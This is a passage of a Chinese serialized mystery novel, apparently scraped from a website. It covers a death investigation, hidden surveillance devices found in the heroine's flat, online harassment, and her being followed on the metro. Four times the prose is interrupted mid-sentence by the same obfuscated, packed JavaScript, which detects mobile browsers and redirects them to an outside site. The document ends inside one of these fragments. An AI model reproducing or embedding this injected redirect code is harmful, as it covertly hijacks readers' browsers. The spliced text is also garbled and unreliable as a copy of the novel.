另一间询问室里,金诺贤对此一言不发,依旧带着似笑非笑的表情,将散下来的小辫扎紧,然后看着拷在桌面上的手掌,发呆。 他对邝斯年和刘毅的提问充耳不闻。任由他们红白脸唱尽,只等律师过来。 “怎么办?”安小贝看了眼一桌的照片,拿出眼药水,仰头滴下,说,“这家伙明显是关键人物,但要怎么在二十四小时内撬开他的嘴?” 陈莉从鉴证科回来,将报告放到桌面上,说:“从这上百张照片中,采集到大量指纹,其中大部分是死者的,极少部分是金诺贤的。快递盒上也有指纹残存,但是来自快递小哥的。另外,房间中还发现一个密实袋,上面有细微破损,和那摞照片的四个棱角相吻合,应该是用来放照片的。密实袋上只有死者的指纹。” 邝斯年:“确定没别的指纹了?” 陈莉又看了眼报告:“没有。” 刘毅嚼着能量棒,说:“这也太干净了吧。” 安小贝:“快递盒里不是还装了个脏脏的便携式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817752|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片打印机和几张空白相纸?” 陈莉:“上面同样只有死者的指纹。而且这种打印机一般要联网。信息组尝试过复原数据,但并未找到任何联网记录和打印记录。死者的手机也没有相关记录。所以那相机……很可能并未使用过。推测,是被人为做旧的。” 邝斯年:“寄件地址呢?” 刘毅:“盗用的身份信息。是不是可以排除是死者网购了?” 安小贝:“如果想要吓唬死者,为什么还要寄一台打印机过来?” 陈莉:“掩饰?” 刘毅:“图什么?” 安小贝:“伪装成是死者自己发疯,然后跳下去?刘毅,你当时不是在楼下吗?你有看到什么吗?” 刘毅:“从我车内的角度,其实观察不到二十四层这么高。事发的时候,我只依稀听到一阵笑声,人就掉在面前了。但我有注意到他们回家的时间。冯美宝是六点半准时买好菜回到家。然后八点一刻,童鸢回来了。又过了一刻钟,段书艺拎着蛋糕回来。九点的时候,老大来了。又过了二十分钟,金诺贤也开车来了,没带任何东西。” 安小贝:“所以,从金诺贤来到现场,到死者坠楼,中间只有十五到二十分钟的时间。” 邝斯年:“而我赶到的时候,大门是开着的,当时没发现有其他人出入。” 陈莉:“现场并没有打斗痕迹,死者身上也没有检测出其他人的DNA。这么看真的很像是她主动跳下去的。” 邝斯年想起了童鸢之前遭遇的事。几乎所有的生命威胁都是伪装而成的意外。但现在下结论,未免过于武断,还得有关键证据。 他问安小贝:“死者家属呢?” 安小贝:“她的爸爸和舅舅都还在监狱里,出不来。奶奶在市一住院,没办法过来。” 邝斯年:“住院?” 安小贝:“胃癌晚期,已经昏迷三天,靠输液吊着。” 办公室霎时陷入了沉默。 大家都知道,这是“命不久矣”的意思。 刘毅的眼珠子转了转,视线在各位同事身上游移,直到能量棒吃完,他才开口问:“所以死者的钱是从哪里来的?” 邝斯年:“会心银行那边有回复吗?” 安小贝立刻拿起电话:“流程我再加加急。” 会议就这么结束了。陈莉盯着照片上那些或肥或瘦的身体,一边将上面曾出现过的纹身和首饰描下来,一边喃喃自语:“要是信息组能出一个肌肉识别功能就好了……对了,老大,你不用去照顾一下你的女朋友吗?她好像还在外面等着。” 邝斯年正看着白板沉思,闻言,刚进嘴里的咖啡差点喷了出来。 “她不是我女朋友。” 陈莉手下不停,说:“那就是还没在一起咯。” “……她是我小时候的邻居,一起长大,仅此而已。” 再说了,童鸢在等的是金家人,不是他。可这话,邝斯年没有说。 此时,刚离开不久的安小贝再度推门进来,说:“老大,司马荷生来了!” 司马荷生,金少立的妻子,金家六少奶,在平安夜坠海事件发生的十天后,一直没有露面的她终于结束在国外的商业行程,回来了。 金少立尚在昏迷,司马荷生没去医院,一下飞机就赶到侦查局,来解救金家年纪最小的孙子辈。 走廊的长椅上,童鸢看向突然被推开的大门。 深沉的夜色,黎明将欲破晓。 12. 茶匙 012 进门的是五嫂肖月娥。 她踩着她的细高跟和阔腿裤,卡其色大衣的衣摆略过空气,卷着经久不散的香水,登堂入室。 她扫了眼童鸢,紧抿的嘴角几乎要耷拉到下颌线上。 没了“童童”前“童童”后,肖月娥看童鸢就像看一个有仇的陌生人。 律师走在身侧,为她打点一切,伸手对迎面走来的邝斯年等人亮明身份。 肖月娥要求先和金诺贤单独沟通,按照程序,邝斯年没有拒绝的理由。 甫一关上门,肖月娥劈头盖脸便问:“你和那女人多久了?” “谁?”金诺贤撑起眼皮。 “那个姓段的。” “我们没在一起。你搞错了。” “那你为什么会出现在她家里?她为什么□□?你又为什么拿着她的浴袍?” 金诺贤咬着嘴唇,沉默不语。 面对亲生母亲,他依旧是一副非暴力不合作的样子。 “你给我说话!”肖月娥俯身撑在桌面上,居高临下地看着儿子,不自觉地提高了音量,“是她先勾引你的,对不对?” 此话一出,金诺贤的视线霎时变得凌厉起来:“在你眼里,只要是个女的就都会来勾引你儿子,对吗?” 肖月娥被他问得语气一滞,身体间的距离也拉开了几分。 她说:“我警告过你,目前最重要的就是好好磨炼厨艺,提高知名度。等你名声起来了,我自然会投资给你做主厨餐厅。可你为什么要瞒着我,和樱桃公寓的人纠缠在一起?现在好了,搞成这样,厨力觉醒你还上不上?名声你还要不要?你要是肯按照我原来给你选的搭档来,她这种祸害就不会进组!” 金诺贤:“如果她不进组,你们就能放过她吗?她想独立,想自己挣钱,有错吗?凭什么你可以,她就不行?” 被儿子这样回怼,肖月娥的心头火腾地冒起:“因为这就是她的命,是她上一代种下的果!” 一旁的律师急忙咳嗽打断她,提醒她这是来解决问题的,房门之外还有许多耳朵。 肖月娥略一定神,抓住金诺贤话语中透露的信息,问他:“你们是怎么认识的?她跟你都说了些什么?” “我拒绝回答。”金诺贤回视肖月娥,压低了声音,“我只是想赎罪。替你,还有几位伯父伯母,赎罪。” 这话像是一枚炸弹,在肖月娥脑海中炸开,炸出一片空白,就连一旁的律师都被炸得脸色尴尬,双眼里猜测顿生。 肖月娥握紧拳头,指间关节因过度用力而泛红。她的语气和她的眼神一样,冷至冰点:“你知道你在说什么吗?” “妈,我知道那些照片是哪来的,我也知道六叔为什么会发疯坠海。但你放心,我不会告诉任何人。” “你!”肖月娥气急,可这是公众场合,不能随便发作,只能憋着。结果越憋越急,整个人憋得发抖。 律师轻抬眼镜,说:“循例还是问一下,这件事确实不是贵公子干的,那女孩坠楼纯属自杀,或是意外,对吗?而肖总你……还有没有其他事情需要提前告知我?” 言下之意,若是真做了什么,请提前交底,好让他做好准备。否则,万一真有什么证据落人手上,到时候他想帮也帮不了了。 金诺贤闻言,只笑笑,没有说话。 肖月娥心情不好,自然也没什么好脸色。她看了律师一眼,对金诺贤说:“节目你不用再上了。从今天起,你哪里都别想去,给我乖乖留在金宅。” “谭律师,”肖月娥转向另一边,“接下来的事,交给你处理了。” 没有回答就是最好的回答。谭律师纵使再有疑虑和不爽,受人钱财替人消灾,不管有罪无罪,先把人捞出来。 走廊的出口处,童鸢一直坐在长椅上,有时远远看着讯问室的房门,有时则静静地看着大门。 她为什么还不来? 叹世界集团年会的时候,她没在船上。金少立急救住院的时候,她没出现。现如今,家里的小辈出问题了,她还是没来。 金家的人像是集体隐身,来来去去只有肖月娥。而童鸢最想见的那个人,直到现在都还没有出现。 “喝点热的吧。” 邝斯年的声音让童鸢回神。转头间,脸颊碰上一阵温热。那是一罐热奶茶,被邝斯年当做暖手宝,贴到了她微冷的脸颊上。 童鸢接过:“谢谢。” 邝斯年:“天快亮了,我找人先送你回家吧。” 童鸢:“她……会来吗?” 邝斯年大概猜到她说的是司马荷生,点点头:“应该快到了……你要是见到她,你想跟她说什么?” “我……我也不知道。也许会问她,这么多年来,有没有找过我。” 童鸢的手摸索着渐渐凉下去的奶茶罐,低下了头。假如当年把她卖掉的人是金少立,那在她的小背包里留下字条的,应该就是司马荷生。 异国他乡,生怕年仅两岁的女儿走丢,于是藏起了联系方式。这样的她面对女儿突然不见了的消息,应该会着急吧,应该会四处寻找吧。童鸢不知道自己为何突然纠结起这个细节,也许这是个讯号:有还是没有,代表着爱或是不爱。 这个问题的答案,比童鸢所以为的更加重要。 “阿鸢……” 邝斯年正想说些什么,童鸢听到大门被推开的声音,急忙站了起来。 进门的是一位衣着朴素的女士。她只穿着驼色针织长外套,白T牛仔和切西尔短靴,身姿消瘦挺拔,眼神柔和,和向来雷厉风行的肖月娥是截然不同的风格。 这张脸,童鸢曾在商业杂志上看过无数遍,甚至想过模仿对方的衣着打扮。但也许是外貌使然,或是气质不符,无论怎么打扮,她都觉得自己是东施效颦,不伦不类,渐渐地,也就放弃了。 她转而追逐对方的成长经历和故事逸闻。可对方实在过于低调,除了访谈中透露的只言片语,她对她的人生知之甚少,只能自己暗暗编织想象的轮廓。 二十多年过去了,这个轮廓如今突然变得清晰,触手可及,童鸢一时间不知该如何反应。 她把奶茶扔到一旁,微微出汗的掌心过于潮湿,她下意识地贴在裤子上反复擦拭。直到对方靠近,扬起淡淡的沉香的甘凉,她才如梦初醒,抬起手臂。 “是邝探员吗?”对方举起右手,径直略过了她。 刚抬起的手臂急忙回缩,朝身后来回摆了摆,悻悻然回到身侧,自然垂下。 邝斯年余光一闪,半握对方右手,说:“你好,司马夫人,这边请。” “好。” 沉香的气息远去,童鸢僵在原地,双手紧紧握着尚未开封的奶茶。 邝斯年折返回来,用力拥抱她的肩膀,在她耳边说道:“别想太多。陈莉刚好出去办事,我让她捎你一程。” “……好。”童鸢点头。 “到家了给我发消息,再吃点东西。” “嗯。” “还有,搬家的事,好好考虑一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817753|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。” 陈莉的车开得快而稳,不多时便将她送到楼栋大堂前。 段书艺的痕迹还在。童鸢下车的同时,陈莉也推开了车门。 “我送你上去。”她主动走到了童鸢身侧,一米八的身材恰好挡住童鸢的视线,叫她只看得见半截拉起的警戒线。 “我其实可以自己上去。”童鸢说。 陈莉:“不差那点时间。” 陈莉果真没有多逗留。在把她送回家后,她先是确认了窗户和门锁情况,期间讨了杯水,然后就离开了。 她的上衣口袋里装着一个小小的笔记本,上面画满了从照片中描下来的首饰和纹身图案。 她从樱桃公寓出门,经由霍尔金斯大道一路向东,抵达裴岛最有名的珠宝集散地,坚利地城。 坚利地城由数十家大型购物商场组成。除了金银珠宝,游客还能在这里找到大量的正品店和A货地摊。阴暗的纹身小店和晚上九点才开始接客的酒吧夜场混杂其中。只要你想要,没有什么是坚利地城找不到的,包括信息。 陈莉身着便服,快步闪进一家老字号金行。 金行铺面不大,除了安保系统,其他装潢都还保留着上世纪九十年代的风格。墙壁的角落,神龛里的关公被莲花灯照得发红发亮。 陈莉将笔记本打开,连同顺手买来的葡挞一起,递给正在看跑马的白发大伯,说:“陈伯,帮我看看这几件。” 陈伯八十多岁,老花镜垂在鼻梁半路上。他挑起三白眼,看看陈莉,又看看笔记本,皱眉:“谁的?” “就是不知道才找你。而且我查过了,这几个款式的手链和手表,在网上都没有找到。” 现如今,很多金行和手表行都设有网店,但上架线上的往往都是些需求大、价格亲民的大路货,恐怕不是照片中人会买的货色。事实证明,也确实如此。 有钱人,尤其是富N代,讲究归讲究,却不轻易显山露水。是以用的都是些看不出牌子流不出市面的尖货,只有极资深的内行才配看出门道。 陈莉连内行都不算,只能来找曾经富过且富得不轻的陈伯。 陈伯嘴里还嚼着槟榔,见着陈莉便把槟榔吐到烟灰缸里,将葡挞酥脆表皮咬得窸窣作响。 他将陈莉的杰作翻来覆去地看,最后指着其中一枚手表,说:“这是当年司马家老爷戴过的。你看,这里还有他名字的缩写。” “司马老爷?司马荷生的爷爷?” “是太爷爷。他算是最早的一批留学生了吧,据说是留洋的时候那些贵族小姐送的。每逢聚会必拿出来显摆。后来传给了孙子,也就是司马荷生她爸。她爸下海创业,把表卖了,几经周折到了拍卖会。至于最后流转了多少手,又是谁拍了,我就不知道了。那时候,小姑娘都还没出生呢,我猜,她可能连自己家里有这么个传家宝都不知道。” 陈莉:“这好办,拍卖会都有记录。至于后来有没有用去借花敬佛,也是可以查的。” “别看得太容易了,这群人之间的关系可复杂着呢。还有这个纹身,”陈伯朝纸上点了点,“这是三只三足金乌首尾相衔而成的绕日环,不是一般人会纹的。据我所知,还崇拜三足金乌的,整个裴岛也就只有一个,古姓刕。” “哪个离?” “三把刀的刕。”陈伯边说边比划。 “刕?” 这个字生僻,陈莉有印象,不由拿过笔记本,翻看过去的记录,不多时,便找到一行字:刕康耀,给力消监事。 13. 茶匙 013 回到家的童鸢无力地趴在沙发上。 她感到挫败。而每当挫败来临,她的身体都会启动自我修复程序:睡觉。 这一觉睡得不太安稳。熊熊烈火在她梦中燃烧。曾经的两层小住宅像是在惩罚她过去生活得过于舒心安逸,付之一炬。那时是凌晨两点,正是人睡得最熟的时候。烟雾警报没有响,桃乐丝和童伯成没有逃出来。而她此前撒了谎,假装睡觉,爬到隔壁街的同学家参加睡衣派对,逃过了一劫。 可这有什么意义呢?她没有家了。 童鸢惊醒,睁开眼时,发现才过去了一个小时。她揉了揉混沌的眉心,打开拉环,将邝斯年给她的奶茶一饮而尽。 奶茶已经冷了,划过喉咙和食道时带起丝丝凉意,最终被胃里的温度同化。 她稍微清醒了一些。她将手提电脑打开,放在大腿上。她蜷缩在沙发一角,再次梳理自平安夜以来所发生的事情。这一回,她尝试换了个角度——樱桃公寓。 已知樱桃公寓的住户包括自己和冯美宝,已经搬出去的海秀仪和刚离开的段书艺。根据邝斯年前一晚透露的信息,海秀仪和冯美宝是有接触的,并且大概率是同一工作岗位的交接关系。此外,她们前后脚住在同一个单元。 从邝斯年的话中推断,海秀仪是怀孕后离开樱桃公寓并搬到后来的家。此后很长一段时间,海秀仪通过冯美宝,和金少立保持着长年的经济关系。这种经济关系大概率十分隐秘,以至于侦查局无法掌握明确证据以作进一步行动。 同样是经济关系,段书艺的则十分不明朗。 回想起她曾和金诺贤吵架的种种,两人之间的关系似乎难以界定。而邝斯年还提到过一点,其他由肖月娥介绍到厨力觉醒节目组的学徒,不是曾经住在樱桃公寓,就是现在仍住在樱桃公寓。无独有偶,离开的都是跑去结婚的。 童鸢于是打开社媒,逐个搜索节目组中学徒们的社交账号。 在部分账号当中,她可以找到婚纱照,生产照,产后健身照等等,唯一让她疑惑的是,这些照片里总是没有爸爸。 ——就像那些被切割在取景框外的脸一样。 她将这些学徒的名字加入思维导图,标上曾经和现在的公司、住址等关键词,随后选取,反转,一个新的关系网出来了。 在这个关系网中,叹世界食品、柠檬果娱乐、给力消科技和樱桃公寓的关系相互交错,于中心处交汇出了一个点。这个点上有什么?童鸢看不清。 她看不清取景框外的景象,但她记得取景框内的关键线索。 那是一枚由白金打造的腕表,外嵌多颗不同颜色的钻石。蓝色珐琅表盘,表盘以内又有多个小表盘。除此以外,还有什么信息?童鸢想不起来。目前这些已经是她观察和记忆的极限。 她开始在网络上进行搜索。虽说多功能表盘一直是男表大热设计,可如此奢华的点缀,价格应该也十分可观。可她搜了一圈,都没有找到。 她有些焦躁,在茶几旁来回走动,喉咙发烫。她到餐厅冰箱里倒了杯冻柠檬水,深呼吸后重新搜索。这一次,她打开了裴岛各大拍卖会的网站。 终于,她找到了一则信息:这块手表曾在十三年前以百万刀的成交价售出。而这位透过电话委托投得腕表的藏家并未透露姓名,但有人猜测,是一位来自裴岛的何姓富商,从事的是当时如日中天的地产行业。 裴岛有很多商人,但姓何的,做地产的,且能单次拿出百万刀现金的富商,符合以上所有条件的,童鸢不觉得会有很多。但她依旧无法确定,这位何姓富商是否就是樱桃公寓的开发商董事长何贵荣。 假如何贵荣就是照片上的其中一人,那有件事似乎也就一并说得通了。 那天在电梯里,与金诺贤的真正的第一次见面,他喊了她一声“樱桃”。 樱桃是暗号,是统称。 想到这,她不由感到毛骨悚然。入住前所填写的那些堪比绝密面试的个人信息,难道是有别的用途?不,不能现在就下定论,她的思维分散过度了。收,收回来,赶紧的! 可思绪是头白熊,越不去想那白熊,白熊就越是出现在脑海里。她越发感到不安。 她转身走到窗前,打算打开窗户透透气。 就在她拉开窗帘的一瞬间,对面大楼传来一阵闪光。闪光稍纵即逝,有人影从窗前略过,消失不见。 是有人在偷拍她吗? 她不觉后退数步,小腿撞上了茶几。茶几抖了抖,将水杯抖落到了地上。瓷砖上没铺地毯,水杯哗啦一声开了花。 人倒霉起来真是连喝水都塞牙缝。童鸢仰天长叹,开始了计划以外的清洁行程。 水杯的碎片溅出很远,其中有不少逃到了沙发底下。童鸢不得不整个人趴下,伸长手臂将这些逃犯抓回。 她刚一看向沙发底,一点小小的红光便意外出现在她视线里。 作为并不十分富裕的留学生,除了乐高茶几,室内的其他家具基本都是原装配套的。童鸢相当于是拎包入住。 沙发底部的红点让她感到困惑。她反手往红点上摸了摸,摸到了一个纽扣大小的装置以及几根电线。她用力一扯,没有扯下。 她大概已经意识到是怎么一回事,干脆将沙发掀了个底朝天。果然,那是一枚窃听器。 这些东西就像蟑螂。当你发现有一只蟑螂的时候,房间里的某个角落必然还藏着千千万。 她开始在家里搜索。凡是非她“亲生”的,几乎都被她暴力拆卸。除了沙发底的窃听器,她还在卧室的吸顶灯里,客厅的吊柜角落以及厨房挂钟里找到了针孔摄像头。 这些东西是从什么时候开始放在那的? 陈莉临走前才帮她检查过门窗的锁扣,说明她离开的这一晚,没有人来过。所以极有可能是很久之前就在的。这是不是意味着,从她搬进来的那一天起,她的一举一动就已经在别人的监视中? 包括拼乐高,套路冯美宝,和邝斯年的对话以及她的搜索和推测,等等。 可谁会这么做?刚刚在窗外的那个人? 不,不对。既然已经有摄像头,对面何必多此一举? 而且,她有必要搞清楚,这是单独针对她的行为,还是樱桃公寓的基本操作。如果是前者,背后的人很可能就是那位对她穷追不舍的“死神”。如果是后者,童鸢看向屏幕上的思维导图,那说不定就是这个四角关系所隐藏的交叉点。 可要怎么确定?找邝斯年? 童鸢犹豫了。 现如今,背后的人应该已经知道她发现了摄像头,接下来必然会有所行动。如果她现在就去找邝斯年,说不定会打草惊蛇。 要不,先等等?反正,这么多年,她都是这么过来的。 而且,要是她能挖到什么新信息,那就可以拥有更多跟邝斯年交换的筹码。 打定了主意,童鸢关好窗帘,拿出锤子,将找出来的窃听器和摄像头砸了个稀巴烂。 厨力觉醒的录制一如往常。 段书艺死了,金诺贤退赛了。周围依旧热闹繁忙,童鸢坐在等候室里,感觉空荡荡。 昨晚几乎没有睡,她有些困,靠在椅背上,不知不觉打起了盹。打盹是个似睡非睡的过程,意识卡在梦境与现实之间。梦可做,闲言碎语亦能听见。 “都看过热搜了吗?” “真是倒霉。早不跳晚不跳,偏偏现在来跳。现在好了,整个小区都被那群不知所谓的探员盯着,叫我们怎么活?” “你那个有叫你搬家吗?” 童鸢的眼皮跳了跳。 “他哪有那个闲工夫?他要是敢动一下,他那个谁不就起疑了吗?你呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817754|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “人早跑没影了,信息不回,电话不接。” “难得前两天节目出街,本想着来点流量。现在好了,流量来了,可惜不是给我的。全跑到什么天使啊,死神啊身上。” 天使?死神?童鸢的耳朵动了动。她过于关注梳理案件,竟忘了每天上班前必做的功课——看热搜。 “诶呀,我们是不是快要开始了?”是任莲的声音。 任莲的话打断了八卦。恰好这时副导过来催了,童鸢趁机睁开了双眼,松了松后背和肩膀。本以为八卦就此揭过,没想到刚才说话的其中一位卷发女生突然对她嗤笑一声,说:“好手段啊,死神大人。” 童鸢:“……” 偷听了半天,死神竟是我自己。 见童鸢不回嘴,甚至还一脸懵,对方好意提醒:“金董坠海,你在身边。金少来拍片,你刚好失火。现在连小天使跳楼,你人都在现场,还和某位探员打得火热。真是,计算机都没你会算计。” “呃……”童鸢歪头一想,说,“确实,现在的人机是这样的了,只会学舌,不会创造,情商还跟不上,随便把信息缝缝补补就自认为很有脑子,确实是路漫漫还得好好打磨,多多喂饭。” 对方先是一愣,随后脸色发青,转过身去不再同她说话。 童鸢嘴上逞强,却还是拿出手机,赶紧看看网上都闹成什么样。 她的信息被挂在“厨力觉醒”的话题下,被描述为老少通吃还故作清高的白莲花死神,佐证包括:寒冬腊月舍己救金主,苦肉计勾搭金主侄儿,以天使同事的尸首为跳板再踩年轻探员这第三条船。 底下热评:难怪,难怪,难怪住的是樱桃公寓。 ——ls,怎么解? ——别装,你把樱桃往某方面想想不就知道了? ——让我看看是谁在造谣?侦查局还没发话,你急着做什么上帝? ——这是人尽皆知的事实,你急着跳什么脚? 人尽皆知?最起码童鸢本人就不知道。当时,她还把找到新房子的消息告诉过辅导员,辅导员也没说什么,只让她一个人住要时刻注意安全。现在回想,辅导员的表情也没什么不妥。 再说了,除了煤气泄漏,其他事情她也只是碰巧在现场……而……而已? 不对,童鸢的脚步停了下来,别说是网友,就连她自己都不敢相信。 突然,邝斯年的声音出现在她脑海里:“这我倒是想要问你,你要打入金家内部,为什么不干脆往叹世界集团投简历?” 她没投过吗?她投了的,可叹世界没要她。她在简历这一环节就直接被挂了。 好在叹世界要冠名赞助柠檬果娱乐新综艺的消息传开了,她转头给柠檬果投了简历,然后便中了。当时,她觉得自己一个导演专业的,去柠檬果实习确实比去叹世界的品牌部要更对口…… 等等,品牌部……品牌总监会参与简历筛选吗?肖月娥早就看过自己的简历?是肖月娥把她挂掉的? 如果真是肖月娥把她挂了,平安夜那天的热情又是怎么回事? 后来在叹世界的船上,童鸢为了抓住难得的机会接近金少立,偷偷将女主持的药换成了过期失效的。当时,她以为是自己计划成功了,所以对邝斯年撒了谎。现在想来,有没有可能,从探班、邀约上船到顶替主持,其实都是肖月娥的计划? 不是阴差阳错,是肖月娥顺势而为,将她送到了金少立的房间里,让他误以为眼前的女人和海秀仪一样,是被物色回来的樱桃。 那天晚上,金少立掀开了她的衣裙,看到了她的胎记,略显失控地将她推开。 船头甲板上,鸢尾形状的紫色烟花在黑夜中盛放,金少立喃喃自语:“回来了……他回来……他们都回来了……” 他,不该是他,而是“她”。 14. 茶匙 014 啪嗒。 童鸢的手机掉在了地上,被经过的任莲捡起。 “你怎么了?生病了?” 被这么一问,童鸢才从混乱的思绪中回过神来,忙说:“啊,没有,可能是睡得少了。” 她说话的声音很轻,可被有心人听在耳朵里,还是被歪曲成了嗤笑,叫人浮想联翩。 童鸢懒得理。 刚才的一切都只是她的猜测,甚至可以说是臆测。 从金少立在游轮上的反应来看,她极有可能就是金少立的女儿。她被卖掉的时候已经两岁,肖月娥作为金少立的五嫂,家里无端端少了口人,说不知情大概是不可能的。 假设刚才的臆测成立,肖月娥有意将她推开后,又往金家的方向扯,从而和家庭医生的计划一起促成金少立坠海,即使实际操作上行得通,可肖月娥的动机是什么?她能捞到什么好处? 另一方面,医生谋杀妻儿和金少立,动机明确,可又过于明确。那份留下来的DNA检测报告和合成图就像是在昭告天下:我被绿了。这合理吗? 而关于生养金少立私生子一事,海秀仪似乎留了后手,使得侦查局能够快速锁定作为中间人的冯美宝。 于是,侦查局的视线被顺理成章地转移到了樱桃公寓上。而恰巧这时,段书艺坠楼身亡。 探员就在楼下,房门大开,满地物证,金家小少爷就在案发现场。 若这些都是肖月娥所为,她为何要搭上自己儿子?她难道不知道金诺贤和段书艺之间的关系? 而所有这些,至今依旧无法指向童鸢所受到的死亡威胁的来源。 她唯一明确的是,问题的关键果然就在金家。若想要深挖,她就必须离金家更近。 司马荷生会欢迎她吗?肖月娥呢?还有金家那些或只有一面之缘或从未见过的伯父伯母…… 紧握手机的手在发抖,误触了屏幕。锁屏里,桃乐丝和童伯成抱着船长,笑得灿烂。 童鸢也笑了。 导演肉眼可见地消瘦了, 厨力觉醒刚播出一集,霸屏热搜,话题随随便便就爆了五六七八个,可没有一个和节目内容有关。摊上人命官司,原定十六组的学徒和名厨搭档突然变成了十五组,光怪陆离的猜测将前尘往事都一并翻了出来。 侦查局刚走,消防署就来了。给力消的人着急忙慌地来更换灭火器。 关于给力消不给力的消息,网上有理有据,流出去的视频正是童鸢被烧掉眉毛的那一段。节目组里有“内鬼”,几乎成了不争的事实。可导演已经无暇顾及,但求早日完工,拿尾款滚蛋。 名厨和学徒们大概也是这个想法。镜头一开,人畜无害。即使是演,也要演出“两耳不闻窗外事”的神态。 唯有童鸢的“死神”称号声名远播,除了任莲,再也没人靠近她。 偏偏金诺贤又是在阵营赛中退赛,任莲和童鸢两人要干四人的活,处境越发艰难。得亏她俩有商务在身,相当于有了免死金牌,总能绝处逢生。 前车之鉴,导演赶起了进度,一天要拍出四集的素材量,大概是怕一觉醒来,又有谁退赛。这一拍便拍到了凌晨一点。 录影棚地处偏僻,距离最近的地铁线已经停运,只能先打车到换乘点,坐另一条地铁线回家。 可就连打车,童鸢都遇到了问题。网约车软件已经呼叫了半个小时,愣是没有人接单。此时,任莲的车开了过来,问她:“还没打到车吗?我送你?” 今天下起了毛毛细雨,气温骤降,童鸢站在大门前已经快要冻僵。任莲不是头一回开口要送她,每次都被童鸢拒绝。 她问任莲:“顺路吗?我记得你住的城东,我在城南。” 任莲:“绕一小段而已。还是说,你情愿去隔壁开小旅馆也不愿坐我的车?” 离这里最近的酒店也要步行二十分钟,童鸢不仅不想花这个钱,也不想走这段路,于是开门上车。 童鸢:“你把我放到换乘站就好,那条线还没停运,直达家门。这样的话,你也不用辛苦绕路,可以早点回家休息。” 任莲:“就这么不想我去你家?” “啊?”童鸢知道她误会了,忙说,“没,没有。我在节目里已经给你添了不少麻烦,下了节目之后,你就让我做个不添乱的正常人吧。” “跟你开玩笑的啦,”任莲莞尔,伸手打开导航,说,“你帮我设置一个终点吧。这玩意我不是很会用。” “这车你不熟?新买的?” “租的,还是有车比较方便。你不考虑买一辆?二手的东瀛油车应该不贵。要是钱不够,找别人借也容易开口。” 童鸢三两下便设置好了路线,不明白她为什么说起借钱的事,只笑着说:“买,肯定得买。我现在不就在奋斗了吗?” 事实上,童鸢连自己毕业后能否顺利留岛都不知道。她现在连稳定的收入都没有,哪敢想买车的事?于是随便附和了两声,让话题平稳着地。 任莲笑笑,打开音响,没再谈买车的事。 童鸢在换乘站下了车。 换乘站很大,进门后得穿过漫长的地下通道,拐好几个弯才能进站上车。此时夜已深,就连赶末班车的上班一族也都在一点前偃旗息鼓,剩下的只有酒醉的年轻人和无家可归的流浪汉。 风在狭窄的通道内收束,连头顶的白色灯光都是冷的。 人类的气息在此刻变得疏离,脚步声稍一靠近,便会在耳语廊一般的地底下反射,扩大,仿佛在脚底下装了话筒。 拐过几个弯后,这阵似有似无的声音愈发强烈。 童鸢意识到,有人在跟踪她。她没有回头,只拿出手机,佯装在发信息,同时通过前置摄像头观察身后的情况。 有酒醉者从她身旁经过,她没找到脚步声的真正来源,也有可能是自己缺觉,产生了幻觉。 裴岛的地铁建得早,不少站台至今都没有装护栏。在哈兰的时候,童鸢曾有过差点被人推入轨道的经历。如今但凡是等车,除非赶时间,否则都是远离人群,尽量靠墙而立。 今夜亦然。她刚一下电梯,便闪身到一旁的墙壁前。跟踪她的人大概没料到她突然闪身,径直从她身旁略过,东张西望。很快,他发现了不知何时落在了他身后的童鸢。 只见他眼神一闪,佯装看手机般背过身去,站到一旁,面向轨道,像是在等车。 童鸢看不清他的脸。 对方故意压低了黑色鸭舌帽的帽檐,又戴了口罩和手套,身上还穿着肥大的羽绒服和棉裤,恐怕是故意伪装,就连最可靠的身高也不一定准确。 童鸢没有声张,只随手拍了张照。不多时,列车到了,童鸢上车,站到了靠门的地方,握紧把手,依旧在看手机。 列车呼啸而过,男人就站在两节车厢的相连处,不时从她身后投来目光。 从换乘站到樱桃公寓共有七个站。童鸢斜斜靠在扶手上,像条被抽了骨头的咸鱼,累到了极致,再也游不动。 到了第五个站,站台发出了到站的播报声:“中央公园站到了,请下车的乘客从左侧车门下车。下一站,坚利地站。” 播报共响三次。第三次结束,车门发出嘟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 